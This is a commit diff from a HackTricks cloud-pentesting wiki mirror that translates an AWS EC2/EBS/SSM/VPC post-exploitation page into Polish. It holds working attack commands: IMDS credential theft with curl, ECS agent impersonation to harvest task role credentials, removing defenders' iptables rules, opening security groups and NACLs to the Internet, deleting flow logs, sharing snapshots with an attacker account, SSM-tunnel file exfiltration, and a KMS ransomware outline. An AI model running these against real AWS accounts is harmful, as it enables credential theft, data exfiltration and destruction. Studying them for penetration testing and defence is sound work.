mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['', 'src/pentesting-cloud/aws-security/aws-post-exploitation
This commit is contained in:
Translator
+75
-69
@@ -1,21 +1,21 @@
|
||||
# AWS - EC2, EBS, SSM & VPC Post Exploitation
|
||||
# AWS - EC2, EBS, SSM & VPC Poeksploatacja
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## EC2 & VPC
|
||||
|
||||
Więcej informacji znajdziesz:
|
||||
Aby uzyskać więcej informacji, sprawdź:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
|
||||
{{#endref}}
|
||||
|
||||
### **Złośliwy VPC Mirror -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule`
|
||||
### **Malicious VPC Mirror -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule`
|
||||
|
||||
Mirrorowanie ruchu VPC **duplikuje ruch przychodzący i wychodzący dla instancji EC2 w VPC** bez konieczności instalowania czegokolwiek na samych instancjach. Tak skopiowany ruch zwykle jest wysyłany do systemu wykrywania włamań sieciowych (IDS) w celu analizy i monitorowania.\
|
||||
Napastnik mógłby to wykorzystać, aby przechwycić cały ruch i uzyskać z niego wrażliwe informacje:
|
||||
VPC traffic mirroring **duplikuje ruch przychodzący i wychodzący dla instancji EC2 w obrębie VPC** bez konieczności instalowania czegokolwiek na samych instancjach. Ten zduplikowany ruch zazwyczaj wysyłany jest do np. systemu wykrywania włamań sieciowych (IDS) w celu analizy i monitoringu.\
|
||||
Atakujący mógłby to wykorzystać do przechwycenia całego ruchu i uzyskania z niego wrażliwych informacji:
|
||||
|
||||
Aby uzyskać więcej informacji, zobacz tę stronę:
|
||||
For more information check this page:
|
||||
|
||||
{{#ref}}
|
||||
aws-malicious-vpc-mirror.md
|
||||
@@ -23,7 +23,7 @@ aws-malicious-vpc-mirror.md
|
||||
|
||||
### Kopiowanie działającej instancji
|
||||
|
||||
Instancje zwykle zawierają różnego rodzaju wrażliwe informacje. Istnieją różne sposoby, żeby się do nich dostać (zobacz [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md)). Innym sposobem, aby sprawdzić, co zawierają, jest **utworzenie AMI i uruchomienie z niego nowej instancji (nawet w swoim własnym koncie)**:
|
||||
Instancje zwykle zawierają pewne wrażliwe informacje. Istnieją różne sposoby, aby się dostać do środka (check [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md)). Innym sposobem sprawdzenia, co zawiera instancja, jest **utworzenie AMI i uruchomienie z niej nowej instancji (nawet w swoim własnym koncie)**:
|
||||
```shell
|
||||
# List instances
|
||||
aws ec2 describe-images
|
||||
@@ -49,8 +49,8 @@ aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west
|
||||
```
|
||||
### EBS Snapshot dump
|
||||
|
||||
**Snapshots są kopiami zapasowymi woluminów**, które zwykle zawierają **wrażliwe informacje**, dlatego ich sprawdzenie powinno ujawnić te dane.\
|
||||
Jeśli znajdziesz **wolumin bez snapshotu** możesz: **utworzyć snapshot** i wykonać poniższe działania lub po prostu **zamontować go w instancji** w ramach konta:
|
||||
**Snapshots are backups of volumes**, które zazwyczaj zawierają **poufne informacje**, dlatego ich sprawdzenie powinno ujawnić te dane.\
|
||||
Jeśli znajdziesz **volume without a snapshot** możesz: **Create a snapshot** i wykonać poniższe działania lub po prostu **mount it in an instance** w ramach konta:
|
||||
|
||||
{{#ref}}
|
||||
aws-ebs-snapshot-dump.md
|
||||
@@ -58,7 +58,7 @@ aws-ebs-snapshot-dump.md
|
||||
|
||||
### Covert Disk Exfiltration via AMI Store-to-S3
|
||||
|
||||
Export an EC2 AMI straight to S3 using `CreateStoreImageTask` to obtain a raw disk image without snapshot sharing. This allows full offline forensics or data theft while leaving the instance networking untouched.
|
||||
Wyeksportuj EC2 AMI bezpośrednio do S3 za pomocą `CreateStoreImageTask`, aby otrzymać surowy obraz dysku bez udostępniania snapshotu. Umożliwia to pełne dochodzenie offline lub kradzież danych, pozostawiając sieć instancji nienaruszoną.
|
||||
|
||||
{{#ref}}
|
||||
aws-ami-store-s3-exfiltration.md
|
||||
@@ -66,7 +66,7 @@ aws-ami-store-s3-exfiltration.md
|
||||
|
||||
### Live Data Theft via EBS Multi-Attach
|
||||
|
||||
Dołącz wolumin Multi-Attach io1/io2 do drugiej instancji i zamontuj go w trybie tylko do odczytu, aby przechwycić dane na żywo bez tworzenia snapshotów. Przydatne, gdy wolumin ofiary ma już włączone Multi-Attach w tej samej AZ.
|
||||
Podłącz io1/io2 Multi-Attach volume do drugiej instancji i zamontuj go tylko do odczytu, aby przechwytywać dane na żywo bez snapshotów. Przydatne, gdy volume ofiary ma już włączone Multi-Attach w tym samym AZ.
|
||||
|
||||
{{#ref}}
|
||||
aws-ebs-multi-attach-data-theft.md
|
||||
@@ -74,7 +74,7 @@ aws-ebs-multi-attach-data-theft.md
|
||||
|
||||
### EC2 Instance Connect Endpoint Backdoor
|
||||
|
||||
Utwórz EC2 Instance Connect Endpoint, autoryzuj ingress i wstrzyknij tymczasowe klucze SSH, aby uzyskać dostęp do prywatnych instancji przez zarządzany tunel. Zapewnia szybkie ścieżki lateralnego poruszania się bez otwierania publicznych portów.
|
||||
Utwórz EC2 Instance Connect Endpoint, autoryzuj ingress i wstrzyknij efemeryczne klucze SSH, aby uzyskać dostęp do prywatnych instances przez zarządzany tunel. Zapewnia szybkie ścieżki lateralnego poruszania się bez otwierania publicznych portów.
|
||||
|
||||
{{#ref}}
|
||||
aws-ec2-instance-connect-endpoint-backdoor.md
|
||||
@@ -82,7 +82,7 @@ aws-ec2-instance-connect-endpoint-backdoor.md
|
||||
|
||||
### EC2 ENI Secondary Private IP Hijack
|
||||
|
||||
Przenieś sekundarny prywatny IP ENI ofiary na ENI kontrolowany przez atakującego, aby podszyć się pod zaufane hosty, które są allowlistowane po adresie IP. Umożliwia ominięcie wewnętrznych ACL lub reguł SG powiązanych z konkretnymi adresami.
|
||||
Przenieś secondary private IP ofiary ENI na attacker-controlled ENI, aby podszyć się pod zaufane hosty, które są allowlisted po IP. Umożliwia to obejście wewnętrznych ACL lub reguł SG powiązanych z konkretnymi adresami.
|
||||
|
||||
{{#ref}}
|
||||
aws-eni-secondary-ip-hijack.md
|
||||
@@ -90,7 +90,7 @@ aws-eni-secondary-ip-hijack.md
|
||||
|
||||
### Elastic IP Hijack for Ingress/Egress Impersonation
|
||||
|
||||
Przypisz ponownie Elastic IP z instancji ofiary do atakującego, aby przechwytywać ruch przychodzący lub inicjować połączenia wychodzące, które wyglądają, jakby pochodziły z zaufanych publicznych adresów IP.
|
||||
Przypisz ponownie Elastic IP z instance ofiary do atakującego, aby przechwycić ruch przychodzący lub inicjować połączenia wychodzące, które wyglądają, jakby pochodziły z zaufanych publicznych IP.
|
||||
|
||||
{{#ref}}
|
||||
aws-eip-hijack-impersonation.md
|
||||
@@ -98,7 +98,7 @@ aws-eip-hijack-impersonation.md
|
||||
|
||||
### Security Group Backdoor via Managed Prefix Lists
|
||||
|
||||
Jeśli reguła Security Group odwołuje się do customer-managed prefix list, dodanie CIDRów atakującego do tej listy cicho rozszerza dostęp we wszystkich zależnych regułach SG bez modyfikowania samej SG.
|
||||
Jeśli reguła security group odwołuje się do customer-managed prefix list, dodanie attacker CIDRs do listy cicho rozszerza dostęp we wszystkich zależnych regułach SG bez modyfikowania samego SG.
|
||||
|
||||
{{#ref}}
|
||||
aws-managed-prefix-list-backdoor.md
|
||||
@@ -106,7 +106,7 @@ aws-managed-prefix-list-backdoor.md
|
||||
|
||||
### VPC Endpoint Egress Bypass
|
||||
|
||||
Utwórz gateway lub interface VPC endpoints, aby odzyskać dostęp wychodzący z izolowanych subnetów. Wykorzystanie AWS-managed private links omija brakujące kontrolki IGW/NAT, umożliwiając exfiltrację danych.
|
||||
Utwórz gateway lub interface VPC endpoints, aby odzyskać dostęp wychodzący z izolowanych subnets. Wykorzystanie AWS-managed private links omija brakujące IGW/NAT, umożliwiając eksfiltrację danych.
|
||||
|
||||
{{#ref}}
|
||||
aws-vpc-endpoint-egress-bypass.md
|
||||
@@ -114,12 +114,12 @@ aws-vpc-endpoint-egress-bypass.md
|
||||
|
||||
### `ec2:AuthorizeSecurityGroupIngress`
|
||||
|
||||
An attacker with the ec2:AuthorizeSecurityGroupIngress permission can add inbound rules to security groups (for example, allowing tcp:80 from 0.0.0.0/0), thereby exposing internal services to the public Internet or to otherwise unauthorized networks.
|
||||
Atakujący mający uprawnienie ec2:AuthorizeSecurityGroupIngress może dodać reguły inbound do security groups (na przykład zezwalając tcp:80 z 0.0.0.0/0), w ten sposób eksponując wewnętrzne usługi do publicznego Internetu lub innych nieautoryzowanych sieci.
|
||||
```bash
|
||||
aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
|
||||
```
|
||||
# `ec2:ReplaceNetworkAclEntry`
|
||||
Atakujący posiadający uprawnienia ec2:ReplaceNetworkAclEntry (lub podobne) może zmodyfikować Network ACLs (NACLs) subnetu, aby uczynić je bardzo permissive — na przykład zezwalając 0.0.0.0/0 na krytycznych portach — eksponując cały zakres subnetu do Internetu lub do nieautoryzowanych segmentów sieci. W przeciwieństwie do Security Groups, które są stosowane per-instance, NACLs są stosowane na poziomie subnetu, więc zmiana restrykcyjnego NACL może mieć znacznie większy blast radius, umożliwiając dostęp do znacznie większej liczby hostów.
|
||||
Atakujący posiadający uprawnienia ec2:ReplaceNetworkAclEntry (lub podobne) może zmodyfikować Network ACLs (NACLs) danego subnetu, aby uczynić je bardzo otwartymi — na przykład zezwalając na 0.0.0.0/0 na krytycznych portach — odsłaniając cały zakres subnetu w Internecie lub wobec nieautoryzowanych segmentów sieci. W przeciwieństwie do Security Groups, które są stosowane per-instance, NACLs są stosowane na subnet level, więc zmiana restrykcyjnego NACL może mieć znacznie większy zasięg rażenia, umożliwiając dostęp do wielu dodatkowych hostów.
|
||||
```bash
|
||||
aws ec2 replace-network-acl-entry \
|
||||
--network-acl-id <ACL_ID> \
|
||||
@@ -131,16 +131,16 @@ aws ec2 replace-network-acl-entry \
|
||||
```
|
||||
### `ec2:Delete*`
|
||||
|
||||
Atakujący z uprawnieniami ec2:Delete* i iam:Remove* może usunąć krytyczne zasoby infrastruktury i konfiguracje — na przykład key pairs, launch templates/versions, AMIs/snapshots, volumes or attachments, security groups or rules, ENIs/network endpoints, route tables, gateways, or managed endpoints. Może to spowodować natychmiastowe przerwanie usług, utratę danych oraz utratę dowodów sądowych.
|
||||
Atakujący z uprawnieniami ec2:Delete* i iam:Remove* może usuwać krytyczne zasoby infrastruktury i konfiguracje — na przykład key pairs, launch templates/versions, AMIs/snapshots, volumes or attachments, security groups or rules, ENIs/network endpoints, route tables, gateways, or managed endpoints. Może to spowodować natychmiastowe przerwanie usług, utratę danych oraz utratę dowodów sądowych.
|
||||
|
||||
One example is deleting a security group:
|
||||
Jednym z przykładów jest usunięcie security group:
|
||||
|
||||
aws ec2 delete-security-group \
|
||||
--group-id <SECURITY_GROUP_ID>
|
||||
|
||||
### VPC Flow Logs Cross-Account Exfiltration
|
||||
|
||||
Skieruj VPC Flow Logs do attacker-controlled S3 bucket, aby ciągle zbierać metadane sieciowe (source/destination, ports) poza kontem ofiary do długoterminowego rozpoznania.
|
||||
Wskaż VPC Flow Logs na S3 bucket kontrolowany przez atakującego, aby nieprzerwanie zbierać metadane sieciowe (źródło/cel, porty) poza kontem ofiary do długoterminowego rozpoznania.
|
||||
|
||||
{{#ref}}
|
||||
aws-vpc-flow-logs-cross-account-exfiltration.md
|
||||
@@ -150,21 +150,21 @@ aws-vpc-flow-logs-cross-account-exfiltration.md
|
||||
|
||||
#### DNS Exfiltration
|
||||
|
||||
Nawet jeśli zablokujesz EC2 tak, że żaden ruch nie może wyjść, nadal może **exfil via DNS**.
|
||||
Nawet jeśli zablokujesz EC2 tak, że żaden ruch nie może wychodzić, nadal może ono **exfil via DNS**.
|
||||
|
||||
- **VPC Flow Logs will not record this**.
|
||||
- **VPC Flow Logs nie zarejestrują tego**.
|
||||
- Nie masz dostępu do AWS DNS logs.
|
||||
- Wyłącz to ustawiając "enableDnsSupport" na false za pomocą:
|
||||
- Wyłącz to, ustawiając "enableDnsSupport" na false przy pomocy:
|
||||
|
||||
`aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id <vpc-id>`
|
||||
|
||||
#### Exfiltration via API calls
|
||||
|
||||
Atakujący może wywołać API endpoints konta kontrolowanego przez siebie. Cloudtrail zapisze te wywołania, a atakujący będzie w stanie zobaczyć wyeksfiltrowane dane w logach Cloudtrail.
|
||||
Atakujący może wywołać endpointy API konta, które kontroluje. Cloudtrail zarejestruje te wywołania, a atakujący będzie mógł zobaczyć exfiltrate data w Cloudtrail logs.
|
||||
|
||||
### Open Security Group
|
||||
|
||||
Możesz uzyskać dalszy dostęp do usług sieciowych, otwierając porty w taki sposób:
|
||||
Możesz uzyskać dodatkowy dostęp do usług sieciowych, otwierając porty w ten sposób:
|
||||
```bash
|
||||
aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
|
||||
# Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC
|
||||
@@ -175,19 +175,23 @@ It's possible to run an EC2 instance an register it to be used to run ECS instan
|
||||
|
||||
For [**more information check this**](../../aws-privilege-escalation/aws-ec2-privesc/README.md#privesc-to-ecs).
|
||||
|
||||
### Nadużycie IMDS w ECS-on-EC2 i podszywanie się pod agenta ECS
|
||||
### ECS-on-EC2 IMDS Abuse and ECS Agent Impersonation (ECScape)
|
||||
|
||||
A compromise inside any ECS task running on an EC2 container instance is typically enough to pivot into the host role and the IAM roles associated with all the other tasks in that node. Because there is **no task isolation for ECS-on-EC2**, every task can query the EC2 Instance Metadata Service (IMDS) by default, steal the container instance profile, and then talk the same WebSocket protocol that the ECS agent uses to the control plane (the **ECScape** primitive) to request the credentials for every task currently scheduled on that host. Latacora documented this workflow in their [ECS-on-EC2 IMDS research](https://www.latacora.com/blog/2025/10/02/ecs-on-ec2-covering-gaps-in-imds-hardening/), which the following offensive summary condenses.
|
||||
On ECS with the EC2 launch type, the control plane assumes each task role and pushes the temporary credentials down to the ECS agent over the Agent Communication Service (ACS) WebSocket channel. The agent then serves those credentials to containers via the task metadata endpoint (169.254.170.2). The ECScape research shows that if a container can reach IMDS and steal the **instance profile**, it can impersonate the agent over ACS and receive **every task role credential** on that host, including **task execution role** credentials that are not exposed via the metadata endpoint.
|
||||
|
||||
#### Łańcuch ataku
|
||||
#### Attack chain
|
||||
|
||||
1. **Steal the instance profile from inside the container.** Assume IMDSv2 is required, so request a token and then fetch the profile.
|
||||
1. **Steal the container instance role from IMDS.** IMDS access is required to obtain the host role used by the ECS agent.
|
||||
|
||||
```bash
|
||||
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
|
||||
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/{InstanceProfileName}
|
||||
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
|
||||
http://169.254.169.254/latest/meta-data/iam/security-credentials/{InstanceProfileName}
|
||||
```
|
||||
2. **Use the container instance role to impersonate the ECS agent.** With those credentials you can speak the undocumented WebSocket channel the ECS agent uses; the control plane trusts you as the real agent and delivers **all task IAM credentials** to your process. You can now run higher-privileged tasks locally, dump task environment secrets, or update services/tasks to redeploy workloads you can fully inspect.
|
||||
2. **Discover the ACS poll endpoint and required identifiers.** Using the instance role credentials, call `ecs:DiscoverPollEndpoint` to obtain the ACS endpoint and gather identifiers such as the cluster ARN and container instance ARN. The cluster ARN is exposed via task metadata (169.254.170.2/v4/), while the container instance ARN can be obtained via the agent introspection API or (if allowed) `ecs:ListContainerInstances`.
|
||||
3. **Impersonate the ECS agent over ACS.** Initiate a SigV4-signed WebSocket to the poll endpoint and include `sendCredentials=true`. ECS accepts the connection as a valid agent session and begins streaming `IamRoleCredentials` messages for **all** tasks on the instance. This includes task execution role credentials, which can unlock ECR pulls, Secrets Manager retrievals, or CloudWatch Logs access.
|
||||
|
||||
**Find the PoC in <https://github.com/naorhaziz/ecscape>**
|
||||
|
||||
#### IMDS reachability with IMDSv2 + hop limit 1
|
||||
|
||||
@@ -199,21 +203,21 @@ Setting IMDSv2 with `HttpTokens=required` and `HttpPutResponseHopLimit=1` only b
|
||||
| `host` | ✅ | Tasks share the host namespace, so they see the same hop distance as the EC2 instance. |
|
||||
| `bridge` | ❌ | Responses die on the Docker bridge because that extra hop exhausts the hop limit. |
|
||||
|
||||
Dlatego **nigdy nie zakładaj, że hop limit 1 chroni workloady w trybie awsvpc lub host** — zawsze testuj z wnętrza swoich kontenerów.
|
||||
Therefore, **never assume hop limit 1 protects awsvpc or host-mode workloads**—always test from inside your containers.
|
||||
|
||||
#### Wykrywanie blokad IMDS w zależności od trybu sieciowego
|
||||
#### Detecting IMDS blocks per network mode
|
||||
|
||||
- **awsvpc tasks:** Security groups, NACLs, lub modyfikacje routingu nie mogą zablokować link-local adresu 169.254.169.254, ponieważ Nitro wstrzykuje go na hoście. Sprawdź `/etc/ecs/ecs.config` pod kątem `ECS_AWSVPC_BLOCK_IMDS=true`. Jeśli flaga jest nieobecna (domyślnie) możesz wywołać IMDS bezpośrednio z zadania. Jeśli jest ustawiona, przemieść się do namespace hosta/agenta, aby ją odwrócić, lub uruchom swoje narzędzia poza awsvpc.
|
||||
- **awsvpc tasks:** Security groups, NACLs, or routing tweaks cannot block the link-local 169.254.169.254 address because Nitro injects it on-host. Check `/etc/ecs/ecs.config` for `ECS_AWSVPC_BLOCK_IMDS=true`. If the flag is missing (default) you can curl IMDS directly from the task. If it is set, pivot into the host/agent namespace to flip it back or execute your tooling outside awsvpc.
|
||||
|
||||
- **bridge mode:** Gdy żądania metadata zawodzą mimo ustawionego hop limit 1, obrońcy prawdopodobnie wstawili regułę drop w `DOCKER-USER`, na przykład `--in-interface docker+ --destination 169.254.169.254/32 --jump DROP`. Wylistowanie `iptables -S DOCKER-USER` to ujawnia, a dostęp roota pozwala usunąć lub zmienić kolejność reguły przed zapytaniem IMDS.
|
||||
- **bridge mode:** When metadata requests fail even though hop limit 1 is configured, defenders probably inserted a `DOCKER-USER` drop rule such as `--in-interface docker+ --destination 169.254.169.254/32 --jump DROP`. Listing `iptables -S DOCKER-USER` exposes it, and root access lets you delete or reorder the rule before querying IMDS.
|
||||
|
||||
- **host mode:** Sprawdź konfigurację agenta pod kątem `ECS_ENABLE_TASK_IAM_ROLE_NETWORK_HOST=false`. To ustawienie całkowicie usuwa role IAM dla zadań, więc musisz albo je ponownie włączyć, przejść na zadania awsvpc, albo wykraść poświadczenia przez inny proces na hoście. Gdy wartość jest `true` (domyślnie), każdy proces w trybie host — w tym skompromitowane kontenery — może odpytywać IMDS, chyba że zastosowano dedykowane filtry tc/eBPF/cgroup celujące w `169.254.169.254`; szukaj programów tc/eBPF lub reguł iptables odnoszących się do tego adresu.
|
||||
- **host mode:** Inspect the agent configuration for `ECS_ENABLE_TASK_IAM_ROLE_NETWORK_HOST=false`. That setting removes task IAM roles entirely, so you must either re-enable it, move to awsvpc tasks, or steal credentials through another process on the host. When the value is `true` (default), every host-mode process—including compromised containers—can hit IMDS unless bespoke eBPF/cgroup filters target `169.254.169.254`; look for tc/eBPF programs or iptables rules referencing that address.
|
||||
|
||||
Latacora even released [Terraform validation code](https://github.com/latacora/ecs-on-ec2-gaps-in-imds-hardening) you can drop into a target account to enumerate which network modes still expose metadata and plan your next hop accordingly.
|
||||
|
||||
Once you understand which modes expose IMDS you can plan your post-exploitation path: target any ECS task, request the instance profile, impersonate the agent, and harvest every other task role for lateral movement or persistence inside the cluster.
|
||||
|
||||
### Remove VPC flow logs
|
||||
### Usuń VPC flow logs
|
||||
```bash
|
||||
aws ec2 delete-flow-logs --flow-log-ids <flow_log_ids> --region <region>
|
||||
```
|
||||
@@ -223,18 +227,18 @@ Wymagane uprawnienia:
|
||||
|
||||
- `ssm:StartSession`
|
||||
|
||||
Oprócz wykonywania poleceń, SSM umożliwia traffic tunneling, które można wykorzystać do pivoting z instancji EC2, które nie mają dostępu do sieci z powodu Security Groups lub NACLs.
|
||||
Jednym ze scenariuszy, w którym jest to przydatne, jest pivoting z [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) do prywatnego klastra EKS.
|
||||
Oprócz wykonywania poleceń, SSM umożliwia traffic tunneling, które można wykorzystać do pivotingu z instancji EC2, które nie mają dostępu sieciowego z powodu Security Groups lub NACLs.
|
||||
Jednym ze scenariuszy, gdzie jest to przydatne, jest pivoting z [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) do prywatnego klastra EKS.
|
||||
|
||||
> Aby rozpocząć sesję, musisz mieć zainstalowany SessionManagerPlugin: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
|
||||
|
||||
1. Zainstaluj SessionManagerPlugin na swojej maszynie
|
||||
2. Zaloguj się na Bastion EC2 używając następującego polecenia:
|
||||
2. Zaloguj się do Bastion EC2 przy użyciu następującego polecenia:
|
||||
```shell
|
||||
aws ssm start-session --target "$INSTANCE_ID"
|
||||
```
|
||||
3. Pobierz tymczasowe poświadczenia Bastion EC2 AWS za pomocą skryptu [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment)
|
||||
4. Przenieś poświadczenia na swoją maszynę do pliku `$HOME/.aws/credentials` jako profil `[bastion-ec2]`
|
||||
3. Pobierz tymczasowe poświadczenia AWS Bastion EC2 za pomocą skryptu [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment)
|
||||
4. Przenieś poświadczenia na własną maszynę do pliku `$HOME/.aws/credentials` jako profil `[bastion-ec2]`
|
||||
5. Zaloguj się do EKS jako Bastion EC2:
|
||||
```shell
|
||||
aws eks update-kubeconfig --profile bastion-ec2 --region <EKS-CLUSTER-REGION> --name <EKS-CLUSTER-NAME>
|
||||
@@ -244,37 +248,37 @@ aws eks update-kubeconfig --profile bastion-ec2 --region <EKS-CLUSTER-REGION> --
|
||||
```shell
|
||||
sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":["<TARGET-IP-OR-DOMAIN>"],"portNumber":["443"], "localPortNumber":["443"]}' --region <BASTION-INSTANCE-REGION>
|
||||
```
|
||||
8. Ruch z narzędzia `kubectl` jest teraz przekierowywany przez tunel SSM za pośrednictwem Bastion EC2 i możesz uzyskać dostęp do prywatnego klastra EKS ze swojego komputera, uruchamiając:
|
||||
8. Ruch z narzędzia `kubectl` jest teraz przekierowywany przez tunel SSM za pośrednictwem Bastion EC2 i możesz uzyskać dostęp do prywatnego klastra EKS z własnej maszyny, uruchamiając:
|
||||
```shell
|
||||
kubectl get pods --insecure-skip-tls-verify
|
||||
```
|
||||
Zwróć uwagę, że połączenia SSL nie powiodą się, chyba że ustawisz flagę `--insecure-skip-tls-verify ` (lub jej odpowiednik w narzędziach audytowych K8s). Ponieważ ruch jest tunelowany przez bezpieczny tunel AWS SSM, jesteś chroniony przed wszelkiego rodzaju atakami MitM.
|
||||
Zauważ, że połączenia SSL zakończą się niepowodzeniem, chyba że ustawisz flagę `--insecure-skip-tls-verify ` (lub jej odpowiednik w narzędziach audytowych K8s). Ponieważ ruch jest przesyłany przez bezpieczny tunel AWS SSM, jesteś chroniony przed wszelkiego rodzaju atakami MitM.
|
||||
|
||||
Na koniec, ta technika nie jest specyficzna dla atakowania prywatnych klastrów EKS. Możesz ustawić dowolne domeny i porty, aby pivotować do dowolnej innej usługi AWS lub niestandardowej aplikacji.
|
||||
Na koniec, ta technika nie jest specyficzna dla ataków na prywatne klastry EKS. Możesz ustawić dowolne domeny i porty, aby pivotować do dowolnej innej usługi AWS lub aplikacji niestandardowej.
|
||||
|
||||
---
|
||||
|
||||
#### Szybkie lokalne ↔️ zdalne przekierowanie portu (AWS-StartPortForwardingSession)
|
||||
|
||||
Jeśli potrzebujesz tylko przekierować **jeden port TCP z instancji EC2 na swój lokalny host** możesz użyć dokumentu SSM `AWS-StartPortForwardingSession` (nie jest wymagany parametr zdalnego hosta):
|
||||
Jeśli potrzebujesz tylko przekierować **jeden port TCP z instancji EC2 do swojego hosta lokalnego**, możesz użyć dokumentu SSM `AWS-StartPortForwardingSession` (parametr zdalnego hosta nie jest wymagany):
|
||||
```bash
|
||||
aws ssm start-session --target i-0123456789abcdef0 \
|
||||
--document-name AWS-StartPortForwardingSession \
|
||||
--parameters "portNumber"="8000","localPortNumber"="8000" \
|
||||
--region <REGION>
|
||||
```
|
||||
The command establishes a bidirectional tunnel between your workstation (`localPortNumber`) and the selected port (`portNumber`) on the instance **without opening any inbound Security-Group rules**.
|
||||
Polecenie ustanawia dwukierunkowy tunel pomiędzy twoją stacją roboczą (`localPortNumber`) a wybranym portem (`portNumber`) na instancji **bez otwierania jakichkolwiek przychodzących reguł Security-Group**.
|
||||
|
||||
Typowe zastosowania:
|
||||
Common use cases:
|
||||
|
||||
* **File exfiltration**
|
||||
1. Na instance uruchom szybki HTTP server wskazujący na katalog, który chcesz exfiltrate:
|
||||
1. Na instancji uruchom szybki serwer HTTP wskazujący na katalog, który chcesz exfiltrate:
|
||||
|
||||
```bash
|
||||
python3 -m http.server 8000
|
||||
```
|
||||
|
||||
2. Z twojej workstation pobierz pliki przez tunel SSM:
|
||||
2. Ze swojej stacji roboczej pobierz pliki przez tunel SSM:
|
||||
|
||||
```bash
|
||||
curl http://localhost:8000/loot.txt -o loot.txt
|
||||
@@ -288,7 +292,7 @@ aws ssm start-session --target i-0123456789abcdef0 \
|
||||
--parameters "portNumber"="8834","localPortNumber"="8835"
|
||||
# Browse to http://localhost:8835
|
||||
```
|
||||
Wskazówka: Skompresuj i zaszyfruj dowody przed ich eksfiltracją, aby CloudTrail nie rejestrował zawartości w postaci jawnego tekstu:
|
||||
Wskazówka: Skompresuj i zaszyfruj dowody przed exfiltrating, aby CloudTrail nie logował zawartości w clear-text:
|
||||
```bash
|
||||
# On the instance
|
||||
7z a evidence.7z /path/to/files/* -p'Str0ngPass!'
|
||||
@@ -297,19 +301,19 @@ Wskazówka: Skompresuj i zaszyfruj dowody przed ich eksfiltracją, aby CloudTrai
|
||||
```bash
|
||||
aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
|
||||
```
|
||||
### Wyszukiwanie wrażliwych informacji w publicznych i prywatnych AMIs
|
||||
### Szukaj wrażliwych informacji w publicznych i prywatnych AMIs
|
||||
|
||||
- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel to narzędzie zaprojektowane do **wyszukiwania wrażliwych informacji w publicznych lub prywatnych Amazon Machine Images (AMIs)**. Automatyzuje proces uruchamiania instancji z docelowych AMIs, montowania ich woluminów oraz skanowania w poszukiwaniu potencjalnych sekretów lub wrażliwych danych.
|
||||
- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel to narzędzie zaprojektowane do **wyszukiwania wrażliwych informacji w publicznych lub prywatnych Amazon Machine Images (AMIs)**. Automatyzuje proces uruchamiania instancji z docelowych AMIs, montowania ich woluminów oraz skanowania w poszukiwaniu potencjalnych secrets lub wrażliwych danych.
|
||||
|
||||
### Udostępnianie EBS Snapshot
|
||||
### Udostępnij EBS Snapshot
|
||||
```bash
|
||||
aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
|
||||
```
|
||||
### EBS Ransomware PoC
|
||||
|
||||
Dowód koncepcji podobny do demonstracji Ransomware opisanej w notatkach dotyczących post-eksploatacji S3. KMS powinno zostać przemianowane na RMS (Ransomware Management Service), biorąc pod uwagę, jak łatwo można go użyć do szyfrowania różnych usług AWS.
|
||||
Dowód koncepcji podobny do demonstracji Ransomware przedstawionej w notatkach post-exploitation S3. KMS powinien zostać przemianowany na RMS (Ransomware Management Service), biorąc pod uwagę, jak łatwe jest jego użycie do szyfrowania różnych usług AWS.
|
||||
|
||||
Najpierw, z konta AWS 'attacker', utwórz customer managed key w KMS. W tym przykładzie pozwolę AWS na zarządzanie danymi klucza, ale w realistycznym scenariuszu złośliwy aktor zachowałby dane klucza poza kontrolą AWS. Zmień key policy, aby pozwolić dowolnemu AWS account Principal na użycie klucza. W przypadku tej key policy nazwa konta to 'AttackSim', a reguła polityki zezwalająca na pełen dostęp nazywa się 'Outside Encryption'.
|
||||
